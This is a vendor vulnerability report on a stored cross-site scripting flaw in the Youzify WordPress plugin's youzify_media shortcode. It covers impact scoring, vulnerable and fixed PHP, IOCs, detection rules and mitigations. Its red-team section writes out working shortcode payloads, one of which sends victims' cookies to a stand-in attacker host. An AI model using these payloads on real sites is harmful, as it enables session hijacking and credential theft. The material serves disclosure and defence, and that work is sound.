CVE-2024-8987
Executive Summary
CVE-2024-8987 is a Stored Cross-Site Scripting (XSS) vulnerability in the Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin. The flaw resides in the youzify_media shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability affects all versions up to and including 1.3.0. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for affected WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Youzify plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The lack of a patch also raises concerns about the vendor's security posture and the potential for supply chain attacks if the plugin is compromised.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for any visitor (including admins) elevates the risk. The lack of a patch and the plugin's popularity in BuddyPress communities make this a notable threat.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in a WordPress shortcode. The youzify_media shortcode is used to embed media (images, videos, etc.) in posts, pages, or BuddyPress activity streams. The shortcode accepts attributes such as src, alt, caption, etc. The plugin fails to sanitize these attributes before storing them in the database and fails to escape them when rendering the shortcode output.
Attack Flow:
- An authenticated user with Contributor-level access (or higher) creates a new post or edits an existing one.
- The attacker inserts the
[youzify_media]shortcode with a malicious payload in one of the attributes, e.g.,[youzify_media src="x" onerror="alert('XSS')"]. - The plugin stores the shortcode as-is in the WordPress database.
- When any user (including administrators) views the post, the shortcode is processed. The malicious attribute is not escaped, so the browser interprets the
onerrorevent and executes the JavaScript. - The injected script can perform actions such as stealing cookies, redirecting to phishing pages, or modifying page content.
Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely uses do_shortcode() without proper validation or uses echo instead of esc_attr() or esc_html().
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable implementation might look like:
Vulnerable Code (PHP):
function youzify_media_shortcode( $atts ) {
$atts = shortcode_atts( array(
'src' => '',
'alt' => '',
), $atts );
// Directly outputting without escaping
return '<img src="' . $atts['src'] . '" alt="' . $atts['alt'] . '">';
}
add_shortcode( 'youzify_media', 'youzify_media_shortcode' );
Patched Code (Hypothetical):
function youzify_media_shortcode( $atts ) {
$atts = shortcode_atts( array(
'src' => '',
'alt' => '',
), $atts );
// Escape attributes before output
return '<img src="' . esc_url( $atts['src'] ) . '" alt="' . esc_attr( $atts['alt'] ) . '">';
}
add_shortcode( 'youzify_media', 'youzify_media_shortcode' );
The fix involves using esc_url() for URLs and esc_attr() for other attributes to prevent XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Youzify plugin version <= 1.3.0.
- Authenticated user account with Contributor-level privileges or higher.
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- In the content editor (Text mode), insert the following shortcode:
[youzify_media src="x" onerror="alert(document.cookie)"] - Publish or update the post.
- When any user visits the post, the JavaScript
alert(document.cookie)will execute.
Advanced Payload Example:
[youzify_media src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Note: No public exploit code is available, but the above demonstrates the attack vector.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts containing the
[youzify_media]shortcode with suspicious attributes (e.g.,onerror,onload,srccontaining JavaScript). - Use WAF rules to block requests containing
[youzify_mediawith event handlers. - Review WordPress user roles and limit Contributor access to trusted users only.
Prevention:
- Disable or remove the Youzify plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
- Use a WordPress security plugin that scans for malicious shortcodes.
Indicators of Compromise (IOCs)
File-based IOCs:
- Presence of the
youzify_mediashortcode inwp_posts.post_contentwith attributes containing event handlers (e.g.,onerror,onload,onclick). - Modified plugin files (if attacker gains file access).
- Presence of the
Network-based IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious
POSTrequests towp-admin/admin-ajax.phporwp-admin/post.phpcontaining shortcode payloads.
Log-based IOCs:
- WordPress audit logs showing creation/editing of posts by Contributor-level users with shortcode content.
- Web server logs showing requests to pages containing the
youzify_mediashortcode with unusual attributes.
Detection Engineering
YARA Rule
rule Detect_Youzify_XSS_Shortcode {
meta:
description = "Detects stored XSS payloads in Youzify shortcode attributes"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-8987"
strings:
$shortcode = /\[youzify_media\s+[^\]]*?(onerror|onload|onclick|onmouseover|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onabort|onbeforeunload|onerror|onhashchange|onpopstate|onpagehide|onpageshow|onresize|onscroll|onstorage|onundo|onunload)\s*=/i
$payload = /<script[^>]*>.*?<\/script>/i
condition:
$shortcode or $payload
}
Sigma Rule
title: WordPress Youzify Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-8987 by injecting malicious shortcode attributes.
author: Valters IT
date: 2025-04-14
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-8987
logsource:
category: webserver
product: apache
service: http
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body|contains: 'youzify_media'
http.body|contains|any:
- 'onerror='
- 'onload='
- 'onclick='
- '<script'
condition: selection
falsepositives:
- Legitimate use of shortcode with benign attributes
level: high
tags:
- attack.t1190
- cve.2024.8987
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8987 WordPress Youzify Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"youzify_media"; http_client_body; pcre:"/(onerror|onload|onclick|onmouseover|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onabort|onbeforeunload|onerror|onhashchange|onpopstate|onpagehide|onpageshow|onresize|onscroll|onstorage|onundo|onunload)\s*=/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Youzify plugin until a patched version is released.
- Review and remove any existing posts containing the
[youzify_media]shortcode with suspicious attributes. - Audit user roles and revoke Contributor-level access from untrusted users.
Long-term Fix:
- The vendor must release a patched version that properly sanitizes and escapes shortcode attributes. Until then, consider using an alternative BuddyPress plugin.
Workaround:
- Implement a custom function to override the shortcode and add escaping:
add_shortcode( 'youzify_media', 'custom_youzify_media_shortcode' ); function custom_youzify_media_shortcode( $atts ) { $atts = shortcode_atts( array( 'src' => '', 'alt' => '', ), $atts ); return '<img src="' . esc_url( $atts['src'] ) . '" alt="' . esc_attr( $atts['alt'] ) . '">'; }
Valters IT Signature:
Valters IT Cyber Threat Intelligence Division
Report generated: 2025-04-14
Classification: TLP:AMBER
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.